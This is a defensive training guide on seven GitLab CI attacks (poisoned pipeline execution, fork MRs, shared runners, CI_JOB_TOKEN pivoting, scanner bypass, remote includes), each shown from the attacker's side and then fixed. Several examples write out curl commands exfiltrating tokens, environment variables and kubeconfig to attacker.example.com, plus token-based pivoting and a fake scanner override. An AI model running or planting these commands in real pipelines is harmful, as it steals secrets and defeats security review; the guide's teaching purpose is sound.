Skip to content
Français
Account: not signed in, sync available My learning
Select theme
Français

GitLab CI: 7 attacks that target your pipelines

By updated

Improve this page

Your GitLab CI pipelines probably contain flaws that can be exploited without any direct access to your infrastructure. This is not theory: these vectors are documented by OWASP (CICD-SEC-04), exploited in production, and often enabled by default. This guide details 7 concrete attacks, each told from the attacker's point of view, then fixed step by step.

What you will learn

By the end of this guide, you will be able to:

  • Identify the 7 attack patterns specific to GitLab CI pipelines
  • Understand Poisoned Pipeline Execution (direct and indirect)
  • Protect your secrets against leaks via forks and unprotected branches
  • Restrict the CI_JOB_TOKEN to block lateral movement
  • Detect the bypass of security scanners
  • Audit your pipelines with poutine (BoostSecurity)

Prerequisites

This lesson assumes that you can read a .gitlab-ci.yml, that you have already defined a CI/CD variable and that you know what a runner is. The seven scenarios can be read with a plain Developer role, but the API checks need more: a token with the api scope and a Maintainer role on the project (with a Developer role, the variables endpoint answers 403 Forbidden).

Three actions need specific rights. The setting that forbids running a fork's pipeline in the parent requires the Maintainer role or an administrator. Auditing the CI_JOB_TOKEN allowlist requires Maintainer or Owner. Checking a runner's config.toml goes through access to the machine that hosts it, hence the administrator. As for tools, you need curl and jq; poutine only comes in at the end. Upstream lessons:

Why is GitLab CI a target?

To understand the attacks, you first need to understand what makes GitLab CI vulnerable by design:

  • The .gitlab-ci.yml lives in the repository: anyone with commit rights can change the pipeline logic. A Developer role is enough to modify the CI on an unprotected branch.
  • A member of the parent project can manually run a fork Merge Request's pipeline: it then runs in the parent, with the fork's .gitlab-ci.yml and the parent's variables. By default, this is allowed.
  • Unprotected CI/CD variables are injected everywhere: including into a fork MR's pipeline run in the parent. If your DEPLOY_TOKEN is not marked "Protected", an outside attacker can then reach it.
  • The CI_JOB_TOKEN can be too permissive: if a project's allowlist is open to other projects, their jobs can call it with their job token.
  • Variables in the .gitlab-ci.yml override the templates' default values: a developer can redefine SECURE_ANALYZERS_PREFIX to silently bypass the security scanners, as long as no interface variable (project, group or instance) with the same name takes precedence.

OWASP groups these vectors under the name Poisoned Pipeline Execution (PPE), in its top 10 CI/CD risks.

Attack 1: Direct PPE, the attacker modifies the .gitlab-ci.yml

Direct PPE is the simplest form of Poisoned Pipeline Execution: the attacker writes the commands that the runner will execute. It requires write access to the repository, so an internal collaborator or a compromised account. It is also very profitable for the attacker, since the job retrieves the project's CI/CD variables without any review having taken place.

The problem

In GitLab, any user with the Developer role can create a branch and push code to it. If the branch is not protected, the pipeline runs automatically with the .gitlab-ci.yml modified by the developer. No review is required.

Here is a typical pipeline where the deploy job uses a secret:

.gitlab-ci.yml: the team's pipeline
stages:
- test
- deploy
test:
stage: test
script:
- npm install
- npm test
deploy:
stage: deploy
script:
- echo "$DEPLOY_TOKEN" | docker login registry.example.com -u deploy --password-stdin
- docker push registry.example.com/app:$CI_COMMIT_SHA

The DEPLOY_TOKEN is stored in Settings > CI/CD > Variables, but without the "Protected" box checked. Result: it is injected into all pipelines, on all branches.

The attack

A malicious developer (or a compromised account) proceeds as follows:

  1. They create a branch feature/update-tests in the project
  2. They modify the .gitlab-ci.yml on that branch to exfiltrate the secrets:
.gitlab-ci.yml: what the attacker pushes to their branch
test:
stage: test
script:
# The real test passes normally: nothing suspicious in the logs
- npm test
# The exfiltration takes a single line, silently
- curl -s https://attacker.example.com/collect
-d "token=$DEPLOY_TOKEN"
-d "ci_token=$CI_JOB_TOKEN"
-d "project=$CI_PROJECT_PATH"
  1. They push the commit, the pipeline starts automatically
  2. The runner executes the test job with the real CI/CD variables
  3. The DEPLOY_TOKEN and the CI_JOB_TOKEN are sent to the attacker's server
  4. The attacker can now push images to your Docker registry

Why it works: the pipeline runs the .gitlab-ci.yml as it exists in the branch, not in main. And unprotected variables are injected into all pipelines, even on unprotected branches.

The fix

Two independent settings are enough to break this scenario: make the secrets unreachable outside protected branches, then prevent the deployment jobs from starting anywhere but on the default branch. The third point deals with a related risk, npm install scripts, which run before the first line of your pipeline even executes.

  1. Mark all sensitive variables as "Protected"

    In Settings > CI/CD > Variables, check Protected for each secret. Protected variables are only injected into pipelines that run on protected branches or tags. A pipeline on feature/update-tests will no longer have access to them.

  2. Restrict sensitive jobs to protected branches

    .gitlab-ci.yml: FIXED
    deploy:
    stage: deploy
    script:
    - echo "$DEPLOY_TOKEN" | docker login registry.example.com -u deploy --password-stdin
    - docker push registry.example.com/app:$CI_COMMIT_SHA
    rules:
    # This job only runs on main (protected branch)
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
    environment:
    name: production
  3. Block uncontrolled npm scripts

    Fixed test job
    test:
    stage: test
    script:
    # --ignore-scripts prevents malicious preinstall/postinstall scripts
    - npm install --ignore-scripts
    - npm test
    rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

How do you check your project?

The GitLab API returns the exact state of each variable, which the web interface only shows setting by setting. The $GITLAB_API_TOKEN token must carry the api scope and a Maintainer role on the project: with a Developer role, this endpoint answers 403 Forbidden.

Terminal window
# List all CI/CD variables and their "protected" status
# If "protected: false" appears for a secret → fix it immediately
curl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \
"https://gitlab.example.com/api/v4/projects/$PROJECT_ID/variables" \
| jq '.[] | {key, protected, masked}'

Attack 2: Indirect PPE, poisoning a script called by the pipeline

Indirect PPE targets teams that have already locked down their pipeline file. The attacker no longer touches the .gitlab-ci.yml: they modify a file called by the pipeline, which is protected by nothing. The result is the same, the hostile code runs on the runner with the same rights, but the change goes unnoticed in a seemingly banal Merge Request.

The problem

Suppose your team has locked down the .gitlab-ci.yml: it is on a protected branch, and a CODEOWNERS file requires the security-team's approval on any change. This file names the owners of each path; their approval is only enforced on a protected branch and in the Premium and Ultimate editions, not in CE (Community Edition, the free edition). The fix below gives the CE option.

The problem: the pipeline calls scripts stored in the repository, and these scripts are not protected.

.gitlab-ci.yml: the pipeline (locked in main)
test:
stage: test
script:
- bash scripts/run-tests.sh

The scripts/run-tests.sh file contains the usual test commands. But unlike the .gitlab-ci.yml, any developer can modify it in a Merge Request.

The attack

Indirect PPE exploits the separation between the pipeline file (protected) and the scripts it calls (unprotected):

  1. The attacker opens a legitimate Merge Request (e.g. "Improve the tests")
  2. In this MR, they modify scripts/run-tests.sh:
scripts/run-tests.sh: the attacker's change
#!/bin/bash
echo "=== Running tests ==="
# These 2 lines are added by the attacker, buried among 50 lines of tests
curl -s https://attacker.example.com/collect \
-d "token=$CI_JOB_TOKEN" \
-d "vars=$(env | base64)"
# The real tests pass normally: the CI is green
npm test
  1. The MR pipeline runs automatically
  2. GitLab runs bash scripts/run-tests.sh with the MR's modified content
  3. The environment variables (including CI_JOB_TOKEN) are exfiltrated
  4. The CI shows "Pipeline passed", nobody notices anything

Why it works: the MR pipeline runs the files as they exist in the MR's source branch, not in main. Protecting the .gitlab-ci.yml is not enough if the scripts it calls can be modified.

The fix

Protecting the .gitlab-ci.yml is useless as long as the files it executes remain freely modifiable. The fix therefore extends protection to these files through CODEOWNERS (Premium and Ultimate: step 1 says what to do in CE), then makes the merge conditional on a successful pipeline and limits MR pipelines' access to protected resources, and finally removes the secrets from the scope of MR pipelines.

  1. Protect critical scripts with CODEOWNERS

    CODEOWNERS
    # Any file executed by the CI requires the security-team's approval
    scripts/ @security-team
    .gitlab-ci.yml @security-team
    Makefile @security-team
    Dockerfile @security-team

    In Settings > Repository > Protected branches, enable "Require code owner approval" for the main branch. This option belongs to the Premium and Ultimate editions: in CE, the CODEOWNERS file enforces no approval.

    What to do in CE? Protection then rests on step 3 and on the fix for attack 1: secrets stay out of reach of a working branch (Protected variables, deploy jobs restricted to the default branch), so a modified script finds nothing to exfiltrate. Reviewing scripts before merge becomes a team rule, not a block set by the file.

  2. Lock the merge and limit access to protected resources

    In Settings > Merge requests, "Merge checks" section, select "Pipelines must succeed": the MR cannot be merged until a merge request pipeline has succeeded. This setting holds back the merge, not the start of the pipeline, which runs as soon as the MR is opened. The GitLab documentation describes no setting that delays that start until an approval (not measured on an instance): if a job must wait for a human decision, declare it when: manual.

    Since GitLab 18.1, the "Allow merge request pipelines to access protected variables and runners" checkbox, under Settings > CI/CD > Variables, governs MR pipelines' access to protected variables and runners. They get access only if the source and target branches are both protected, the user triggering the pipeline can push or merge to the target, and both branches are in the same project. Exfiltration is therefore prevented mainly by step 3 and by the Protected variables of attack 1, not by a block before execution.

  3. Separate MR pipelines from protected-branch pipelines

    .gitlab-ci.yml: FIXED
    # The MR pipeline runs the tests WITHOUT access to secrets
    test:
    stage: test
    script:
    - npm test
    rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    # The deploy only happens on main, after the merge
    deploy:
    stage: deploy
    script:
    - bash scripts/deploy.sh
    rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

Attack 3: Secret leaks via fork Merge Requests

This third attack changes category: it requires no rights on the targeted project. A fork, that is a personal copy of the repository that any account can create, is enough to run code on the parent project's runners, as soon as a pipeline is run there. This vector mostly targets open source projects, where external contributions are the norm.

The problem

GitLab says so explicitly in its documentation:

"Fork merge requests can contain malicious code that tries to steal secrets in the parent project when the pipeline runs, even before merge."

First you need to know where a fork MR's pipeline runs. By default, it is created and runs in the fork, with the fork's configuration, resources and variables. The parent project shows it with a "fork" badge but does not run it itself, so the parent's secrets are not exposed. The fork's .gitlab-ci.yml, which the attacker fully controls, only runs in the parent if someone sends it there.

The attack

Unlike attacks 1 and 2, this one requires no access to the target project. The attacker only needs a GitLab account, then a maintainer or an automation that runs the pipeline in the parent:

  1. The attacker forks a public project (or an internal project they can access)
  2. In their fork, they modify the .gitlab-ci.yml to exfiltrate the secrets:
.gitlab-ci.yml: in the attacker's fork
exfiltrate:
stage: test
script:
# Send all the environment variables to the attacker's server
- env | grep -iE "token|key|secret|password" |
curl -s -X POST https://attacker.example.com/collect -d @-
  1. The attacker opens an MR from their fork to the parent project
  2. The MR's pipeline runs in the fork: it only finds the fork's variables, nothing from the parent
  3. The pipeline is re-run in the parent, with the fork's .gitlab-ci.yml, by a maintainer who did not review the code, or by a trigger through the API or /rebase
  4. The parent project's unprotected CI/CD variables are injected, and the attacker retrieves DEPLOY_TOKEN, AWS_SECRET_ACCESS_KEY, etc.

Why it works: a member of the parent can manually run a pipeline for the MR from the Pipelines tab (the GitLab documentation titles this section "Run pipelines in the parent project"). The pipeline then runs in the parent, with its runners and variables, but with the fork's .gitlab-ci.yml. In the interface, GitLab shows a warning that the maintainer has to accept. That warning does not appear when the pipeline is started through the API or the /rebase command: that is where the real risk lies, since nothing reminds anyone to review the code first.

GitLab's protections (to enable manually)

GitLab does provide the necessary safeguards, but not all of them are active at installation. The table gives the location of each setting and its default state. The setting for running in the parent has no checkbox in the interface: it is an attribute of the projects API.

ProtectionWhere to enable itDefault
Variables marked "Protected"Settings > CI/CD > VariablesNot checked
Forbid running in the parentci_allow_fork_pipelines_to_run_in_parent_project attribute of the projects API (Maintainer role or admin)true: running is allowed

The fix

The three measures add up and cover different perimeters: the first makes the secrets unreachable, the second removes the possibility of running a fork's pipeline in the parent, the third lives in the .gitlab-ci.yml and is only a convenience guard: it does not stand up to the attacker, as its own note explains.

  1. Mark every sensitive variable as "Protected"

    Protected variables = provided only to pipelines of protected branches/tags. Result: secrets marked this way are no longer provided to a pipeline run on a fork MR.

  2. Forbid running a fork's pipeline in the parent

    Set ci_allow_fork_pipelines_to_run_in_parent_project to false through the projects API (see the command below). No interface checkbox does it. As long as the setting stays true, review the fork's code before any run in the parent, and beware of /rebase and the API, which do not show the warning.

  3. Detect forks in the pipeline itself

    .gitlab-ci.yml: anti-fork guard
    deploy:
    stage: deploy
    script:
    - bash scripts/deploy.sh
    rules:
    # If the MR comes from a different project (fork), do not run
    - if: $CI_MERGE_REQUEST_SOURCE_PROJECT_ID != $CI_PROJECT_ID
    when: never
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

    The $CI_MERGE_REQUEST_SOURCE_PROJECT_ID variable contains the ID of the MR's source project. If it differs from $CI_PROJECT_ID, it is a fork.

    This guard does not stop an attacker. When a fork MR's pipeline is run in the parent, GitLab uses the CI/CD configuration present in the fork's branch ("Merge request pipelines" documentation), that is, the .gitlab-ci.yml the attacker writes themselves. They only have to remove the rule. It only guards against an honest mistake, for example a well-meaning contributor whose fork inherited the file. Measures 1 and 2, which live in the parent project's settings and not in the fork's YAML, are the only ones that count against a hostile fork.

How do you check your project?

The call targets the parent project, not the fork: it is the configuration of the repository receiving the Merge Request that decides whether a fork's pipeline can be run there and with which variables. Repeat the check on every project that accepts external contributions.

Terminal window
# Read the setting (true = running in the parent is allowed)
curl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \
"https://gitlab.example.com/api/v4/projects/$PROJECT_ID" \
| jq '.ci_allow_fork_pipelines_to_run_in_parent_project'
# Turn it off (Maintainer role or admin)
curl --request PUT --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \
--data "ci_allow_fork_pipelines_to_run_in_parent_project=false" \
"https://gitlab.example.com/api/v4/projects/$PROJECT_ID"

If the first command returns true, running manually in the parent remains possible: it is up to you to keep it behind a systematic review or to cut it off.

Attack 4: Shared runners, spying on neighboring containers

The first three attacks targeted the content of a repository. This one targets the execution infrastructure: a shared runner is a machine made available to all the projects of the instance, and the jobs running on it at the same time can see each other. The attacker needs no rights on their victims, only a project of their own on the same instance.

The problem

GitLab shared runners (instance-level) are accessible by all projects of the instance. When a runner runs jobs in containers in privileged: true mode (required for docker-in-docker, or dind: a Docker daemon of its own for each job, started in a service container), a job's container is no longer isolated from the host: an attacker who is root in it can break out, then read the environment of the other projects' containers.

Two mechanisms look alike and must not be confused. With services: docker:dind, the GitLab documentation states that "each job gets its own isolated Docker daemon": two dind jobs therefore do not share a daemon. The daemon is shared only if the runner mounts the host's socket (/var/run/docker.sock), which is a different configuration and a different risk.

This attack was documented by Pulse Security in their "OMGCICD" research on self-hosted GitLab instances. Their attack path goes through a privileged job container, from which they mounted a host block device to get root access to the machine.

The attack

The attacker only needs an account on the GitLab instance. They need no access to the target projects:

  1. The attacker creates a personal project on the GitLab instance
  2. They add this .gitlab-ci.yml, which assumes a runner that mounts the host's Docker socket into jobs (without it, docker ps would only talk to the job's own dind service, which holds no neighbouring container):
.gitlab-ci.yml: the attacker's project
attack:
image: docker:29.6.2@sha256:bfec1f5159c63a81ca6fdedbd81404d2c0e16378ed0feec3bb3fbf3998847659
# No dind service: the job uses the host socket mounted by the runner
script:
# Step 1: list all the active containers on the runner
# (including those of other projects running in parallel)
- docker ps -a
# Step 2: extract the environment variables of each container
- |
for container in $(docker ps -q); do
echo "=== Container $container ==="
docker inspect "$container" --format '{{.Config.Env}}' 2>/dev/null
done
# Step 3: exfiltrate the secrets found
- docker inspect $(docker ps -q) --format '{{.Config.Env}}' |
curl -s -X POST https://attacker.example.com/collect -d @-
  1. The pipeline runs on a shared runner whose host Docker socket is mounted into jobs
  2. The host's Docker daemon is shared between all the runner's containers
  3. The attacker sees the containers of the infra/production, backend/api projects, etc. running in parallel
  4. They retrieve the environment variables: PRIVATE_KEY, DATABASE_URL, AWS_SECRET_ACCESS_KEY

Why it works: the /var/run/docker.sock socket is the API of the host's daemon. Whoever can call it can list, inspect and run commands in every container, those of other projects included. The GitLab documentation warns that this sharing exposes your host to privilege escalation (paraphrase of the "Use Docker to build Docker images" page).

Pulse Security retrieved PRIVATE_KEY, SERVER_NAME and TRIGGER_PAYLOAD values from other projects, but through a neighbouring route: from a privileged container they mounted the host disk, obtained root access, then read the neighbouring containers' environment with docker ps and docker exec on the host. The result is the same (other projects' secrets), the prerequisite differs: a privileged runner is enough, no mounted socket needed.

The fix

This fix is made on the runner side, in a file that a developer cannot access: it is the instance administrator's job. The next two measures give control back to the project teams, by moving sensitive jobs out of the shared pool.

  1. Forbid privileged mode on shared runners

    config.toml: GitLab Runner
    [[runners]]
    name = "shared-runner"
    [runners.docker]
    # Never privileged on a shared runner
    privileged = false
    # No Docker socket mount
    volumes = ["/cache"]
    # Also blocks privilege escalation
    cap_drop = ["ALL"]

    Without privileged and without a mounted socket, the job has no access to the host's daemon, and docker ps fails for lack of a reachable daemon. A job that must build an image then uses a daemonless tool (kaniko, Buildah), compared in the Registries lesson.

  2. Disable shared runners on sensitive projects

    Settings > CI/CD > Runners → uncheck "Enable shared runners for this project". Configure dedicated runners (group-level or project-level) with tags:

    .gitlab-ci.yml: force a dedicated runner
    deploy:
    stage: deploy
    tags:
    # This job only runs on a runner with this tag
    - production-runner
    script:
    - bash scripts/deploy.sh
  3. Use ephemeral runners

    With the GitLab Runner autoscaler (on Kubernetes or cloud instances), each job starts in a fresh VM or pod, destroyed after execution. No residual data, no neighboring container.

How do you check your runners?

The privileged mode appears nowhere in GitLab's web interface: it lives only in the config.toml of the machine that hosts the runner. The check is therefore done server by server, on each host of the fleet.

Terminal window
# Check whether privileged is enabled or the Docker socket mounted on your runners
grep -nE "privileged|docker.sock" /etc/gitlab-runner/config.toml
# If "privileged = true" or a docker.sock volume on a shared runner
# → fix it immediately

Attack 5: CI_JOB_TOKEN, pivoting to other projects

This attack comes after one of the previous ones: it turns the compromise of one pipeline into the compromise of the entire organization. The established term is lateral movement, meaning bouncing from a system you already hold to another one. Here the bounce is made easier by a token that GitLab places in every job without being asked.

The problem

GitLab automatically injects a CI_JOB_TOKEN into every job. This token lets the pipeline interact with the GitLab API: clone other repositories, download artifacts, trigger pipelines in other projects, access the container registry.

A project decides which other projects may call it with their job token through its allowlist (Settings > CI/CD > Job token permissions). By default it contains only the project itself, but on a self-managed instance the "All groups and projects" option can open it: a compromised job's token then reaches all the projects that the pipeline owner has access to.

The attack

The attacker compromised a pipeline through attack 1 or 2. They have access to a job's CI_JOB_TOKEN. Here is what they can do with it:

  1. Reconnoiter the accessible projects:
Reconnaissance: commands run in the compromised job
# List all the projects accessible with the CI_JOB_TOKEN
curl -s --header "JOB-TOKEN: $CI_JOB_TOKEN" \
"https://gitlab.example.com/api/v4/projects?membership=true&per_page=100" \
| jq '.[].path_with_namespace'

Result:

"my-org/frontend"
"my-org/backend-api"
"my-org/infra-terraform"
"my-org/secrets-vault" ← jackpot
  1. Clone a sensitive project:
Pivot: clone the secrets project
git clone https://gitlab-ci-token:$CI_JOB_TOKEN@gitlab.example.com/my-org/secrets-vault.git
cat secrets-vault/production.env
# AWS_ACCESS_KEY_ID=AKIA...
# AWS_SECRET_ACCESS_KEY=...
# DATABASE_URL=postgres://admin:password@prod-db:5432/app
  1. Trigger a pipeline in another project:
Pivot: trigger a pipeline in infra-terraform
curl --request POST \
--form "token=$CI_JOB_TOKEN" \
--form "ref=main" \
--form "variables[TF_VAR_admin_ip]=attacker.example.com" \
"https://gitlab.example.com/api/v4/projects/42/trigger/pipeline"

Why it works: the CI_JOB_TOKEN inherits the permissions of the user who triggered the pipeline. If that user has access to 50 projects, so does the token, as long as the allowlist of each targeted project accepts it ("All groups and projects" option, or project listed). This is automatic lateral movement.

The fix

The CI_JOB_TOKEN cannot be disabled: GitLab injects it into every job, with no setting to remove it. The only room for maneuver is to reduce its scope to the explicit list of projects that need it, then to stop using it for cross-project access in favor of dedicated tokens.

  1. Restrict the scope of the CI_JOB_TOKEN

    In each project that other jobs might read: Settings > CI/CD > Job token permissions, CI/CD job token allowlist section. The list is kept on the side of the project being accessed: it says which projects or groups may call it with their job token. Keep the "This project and any groups and projects in the allowlist" option (not "All groups and projects"), then add only the projects that need access.

    For example, if the frontend project needs to download artifacts from the shared-libs project, add only frontend to the allowlist of shared-libs.

  2. Replace the CI_JOB_TOKEN with dedicated tokens

    .gitlab-ci.yml: FIXED
    deploy:
    stage: deploy
    script:
    # Dedicated token with read-only permissions on the charts registry
    # Stored as a protected + masked CI variable
    - git clone https://deploy-token:$CHARTS_READ_TOKEN@gitlab.example.com/infra/helm-charts.git
    rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

    Project Access Tokens or Deploy Tokens offer a granular scope (read_repository, read_registry) instead of the global access of the CI_JOB_TOKEN.

  3. Audit existing access

    Terminal window
    # For each project: is the job token allowlist active?
    curl --header "PRIVATE-TOKEN: $GITLAB_API_TOKEN" \
    "https://gitlab.example.com/api/v4/projects/$PROJECT_ID/job_token_scope" \
    | jq '.inbound_enabled'
    # If false → the project accepts the job token of any project

    This endpoint (Maintainer or Owner role) is the one GitLab documents for the allowlist. A true result can come from the instance-wide "Enforce job token allowlist" setting rather than from the project.

Attack 6: Bypassing the security scanners

The five previous attacks stole something. This one steals nothing: it neutralizes detection to let malicious code through. The security report shown in the Merge Request stays green, and that is precisely what makes it effective, since reviewers rely on this report to approve.

The problem

GitLab's security templates (SAST, DAST, Secret Detection, Dependency Scanning) download their Docker images from a registry defined by the SECURE_ANALYZERS_PREFIX variable. This variable can be redefined in the project's .gitlab-ci.yml.

A developer can therefore replace the official scanners with images they control.

The attack

The attacker wants to merge code containing a backdoor without the scanners detecting it:

  1. They create a Docker image that imitates the official scanner but always returns "no vulnerability":
Dockerfile: the attacker's fake scanner
FROM alpine:3.21@sha256:48b0309ca019d89d40f670aa1bc06e426dc0931948452e8491e3d65087abc07d
# The fake scanner does nothing and returns an empty report
ENTRYPOINT ["sh", "-c", "echo '{\"vulnerabilities\":[]}' > gl-sast-report.json"]
  1. They publish this image on a registry they control: attacker-registry.example.com/malicious/sast

  2. They modify the .gitlab-ci.yml in a branch (or an MR):

.gitlab-ci.yml: the attacker's override
variables:
# The security scanners now download the attacker's images
SECURE_ANALYZERS_PREFIX: "attacker-registry.example.com/malicious"
include:
- template: Security/SAST.gitlab-ci.yml
- template: Security/Secret-Detection.gitlab-ci.yml
  1. The pipeline includes the official templates, but the jobs download the images from the attacker's registry
  2. The scanners return "0 vulnerabilities", the merge request shows a clean security report
  3. The branch is merged with the backdoor that the real scanners would have detected

Why it works: variables defined in the .gitlab-ci.yml take precedence over the templates' default values. GitLab shows no warning when SECURE_ANALYZERS_PREFIX is redefined. The security report in the MR shows the fake scanner's results as if they were legitimate.

The fix

The three measures pursue the same goal: the value of SECURE_ANALYZERS_PREFIX must come from a place that the author of a Merge Request cannot modify. The first requires an Ultimate license, the other two work in Free and Premium, the second with the limit its text details.

  1. Use Scan Execution Policies (GitLab Ultimate)

    Scan Execution Policies run the scanners in a separate pipeline that developers cannot modify. The SECURE_ANALYZERS_PREFIX variable is defined in the policy, not in the project.

    This is the most robust solution, but it requires GitLab Ultimate.

  2. Detect overrides in a .pre job

    For the Free and Premium editions, add a guard job:

    .gitlab-ci.yml: detection job
    check-analyzer-prefix:
    stage: .pre
    script:
    - |
    EXPECTED="registry.gitlab.com/security-products"
    if [ "$SECURE_ANALYZERS_PREFIX" != "$EXPECTED" ]; then
    echo "ALERT: SECURE_ANALYZERS_PREFIX has been modified!"
    echo " Expected: $EXPECTED"
    echo " Found: $SECURE_ANALYZERS_PREFIX"
    echo "A developer is trying to bypass the security scanners."
    exit 1
    fi
    rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH

    This job runs before all the others (.pre stage). If someone redefines SECURE_ANALYZERS_PREFIX, the pipeline fails immediately.

    Limit: this job lives in the file the attacker can modify. The Merge Request runs the .gitlab-ci.yml of its own branch (the fork's for a fork MR): an author who redefines the variable can also delete the guard job or weaken its condition. It catches a mistake or a change reviewed too quickly, not a deliberate bypass. Only Scan Execution Policies, interface variables and review of .gitlab-ci.yml changes hold against a hostile author.

  3. Lock the variable at the group level

    Define SECURE_ANALYZERS_PREFIX as a group variable with the official value. A variable defined in the interface (group or project) takes precedence over a .gitlab-ci.yml variable: the MR author's redefinition in the file is therefore ignored. Careful: precedence goes from project to group, not the other way round. A project variable of the same name overrides the group one, and a variable supplied when the pipeline is started (form, API, schedule) overrides both. This fix therefore only holds if the project's Maintainers are trusted and this name is never redefined as a project variable.

Attack 7: Supply chain via include:remote

The last attack no longer targets a project but a shared dependency. A shared CI template is a single point of compromise whose blast radius equals the number of projects that include it. This is the very definition of a software supply chain attack: compromise a supplier to reach all its consumers.

The problem

GitLab lets you include CI templates from an external URL. It is convenient for sharing templates between organizations, but it is also a supply chain vector: if the server hosting the template is compromised, every project that includes it will run malicious code.

The attack

Imagine that 200 projects of your organization include a shared deployment template:

.gitlab-ci.yml: in 200 projects
include:
- remote: 'https://templates.example.com/ci/deploy.yml'

The attacker only needs to compromise a single server:

  1. The attacker compromises templates.example.com (web exploit, stolen credentials, DNS hijacking)
  2. They replace deploy.yml with a modified version:
deploy.yml: the version modified by the attacker
deploy:
stage: deploy
script:
# The original deployment works normally
- kubectl apply -f k8s/
# The exfiltration is added discreetly
- |
curl -s https://attacker.example.com/collect \
-d "kubeconfig=$(cat ~/.kube/config | base64)" \
-d "project=$CI_PROJECT_PATH" \
-d "token=$CI_JOB_TOKEN"
  1. The next pipeline of each of the 200 projects downloads the modified version
  2. The attacker retrieves the production kubeconfig files of 200 projects

Why it works: include: remote downloads the file at every pipeline run, with no integrity check. There is no hash, no signature, no versioning. It is the GitLab equivalent of GitHub actions not pinned by SHA.

The fix

The remedy comes down to one word: version. An include must designate an immutable reference, hosted on infrastructure that your organization controls. The two forms below are safer replacements for remote:, the second requiring GitLab 17 or later.

.gitlab-ci.yml: FIXED
include:
# Option 1: include from an internal GitLab project, pinned to the full
# commit SHA (40 characters), the version in a comment
- project: 'my-org/ci-templates'
ref: 'a1b2c3d4e5f60718293a4b5c6d7e8f9012345678' # v2.1.0
file: '/templates/deploy.yml'
# Option 2: CI/CD Catalog (GitLab 17+), release version
- component: gitlab.example.com/my-org/ci-components/deploy@1.0.0

The ref of the first include is a commit SHA rather than the v2.1.0 tag: a SHA is the fingerprint of the content, it cannot point to anything else. A tag is a name that can be moved: git tag -f followed by a forced push makes it point to another commit, without your ref changing by a single character. GitLab's protected tags "prevent accidental update or deletion once created" according to the documentation: that is a safeguard against accidents, not a promise against an attacker who holds the rights. On a page about pipeline attacks, only the SHA is defensible.

Form of refCan it change?
Full 40-character SHANo
Protected tagNo, under conditions
Unprotected tagYes
BranchYes
ref omittedYes, it is the HEAD

Rules:

  • Always pin to the full commit SHA, never to main, a branch or an unprotected tag
  • Prefer project: to remote:: project: includes point to an internal, versioned Git repository with access control
  • Use the CI/CD Catalog (GitLab 17+) for validated components with semantic versioning, it is the equivalent of the GitHub Actions Marketplace, hosted on your instance. A component version can also be a commit SHA, which GitLab's component security documentation gives as the preferred choice over a version tag

Hardening checklist

This checklist condenses the seven attacks into ten verifiable checks. The first four are set in the GitLab interface or its API, the next six are checked on the command line, on the repository or on the runner. Start with item 1: marking variables as Protected closes the secret leak of attacks 1 and 3 on its own, for the cost of a few clicks. It does not cover the CI_JOB_TOKEN, which item 3 handles.

#CheckHow to verify
1Sensitive variables marked "Protected"Settings > CI/CD > Variables → check "Protected"
2Running fork pipelines in the parent disabled (ci_allow_fork_pipelines_to_run_in_parent_project set to false)Projects API (GET /projects/:id)
3CI_JOB_TOKEN allowlist limited to the projects that need itSettings > CI/CD > Job token permissions, CI/CD job token allowlist section
4Shared runners disabled on sensitive projectsSettings > CI/CD > Runners
5Neither privileged: true nor a mounted Docker socket on shared runners`grep -E "privileged
6SECURE_ANALYZERS_PREFIX not redefinable by an MR authorScan Execution Policies, or a group variable with no project variable of the same name
7No include: remote: without versioninggrep -r "remote:" .gitlab-ci.yml
8CODEOWNERS on .gitlab-ci.yml, scripts/, Makefile (approval only enforced on a protected branch and in the Premium and Ultimate editions, not in CE)CODEOWNERS file in the repository, then "Require code owner approval" on the protected branch; in CE, see "What to do in CE?" under attack 2
9npm install --ignore-scripts in test jobs.gitlab-ci.yml
10Regular scan with poutinepoutine analyze_local . -s gitlab

Auditing with poutine

poutine (BoostSecurity) supports the analysis of GitLab CI pipelines. It detects injection patterns, unpinned includes, and unverified code execution:

Terminal window
# Scan a local repository
poutine analyze_local . -s gitlab
# Scan a remote GitLab project
poutine analyze_repo -s gitlab \
--token "$GITLAB_TOKEN" \
gitlab.example.com/my-org/my-project
# Scan an entire organization
poutine analyze_org -s gitlab \
--token "$GITLAB_TOKEN" \
gitlab.example.com/my-org

Key takeaways

GitLab CI pipelines are vulnerable to the same families of attacks as GitHub Actions, but with specific vectors: the .gitlab-ci.yml in the repository, variables that are unprotected by default, the overly permissive CI_JOB_TOKEN.

The 7 defense principles:

  1. Protect the variables: mark every secret as "Protected" so that it is only accessible on protected branches. It is the first step, and the simplest to set up.
  2. Isolate fork pipelines: never run a fork MR's pipeline in the parent without a review. Disable the setting through the API.
  3. Restrict the CI_JOB_TOKEN: limit each project's allowlist to the only projects that need it to block lateral movement. Check older projects one by one.
  4. Separate the runners: shared runners must never run sensitive workloads, run in privileged mode or mount the host's Docker socket. Use dedicated runners with tags.
  5. Version the includes: every external template must be pinned to the full commit SHA, never to main, an unprotected tag or an uncontrolled URL.
  6. Protect every file the CI executes: the .gitlab-ci.yml is not enough, the scripts it calls matter too. A CODEOWNERS names their owners, but their approval is only enforced on a protected branch and in the Premium and Ultimate editions, not in CE, where the file alone enforces nothing. In CE, keep secrets out of MR pipelines (Protected variables, jobs restricted to the default branch) and make reviewing these files a team rule.
  7. Take the scanners' configuration out of the repository: the value of SECURE_ANALYZERS_PREFIX must come from a place the MR author cannot modify (Scan Execution Policies, or a group variable with no project variable of the same name).

Sources

Test your knowledge

Ten questions drawn from the seven attacks described here, with a pass mark set at 70%. A failed question points to the attack to reread.

Knowledge check

Check what you have learned with this interactive quiz

10 questions
5 min
70% to pass

How it works

  • The timer starts when you click Start
  • Multiple choice, true/false and short answer questions
  • You can move between questions
  • Detailed results are shown at the end

Starts the quiz and the timer

Is this project useful to you?

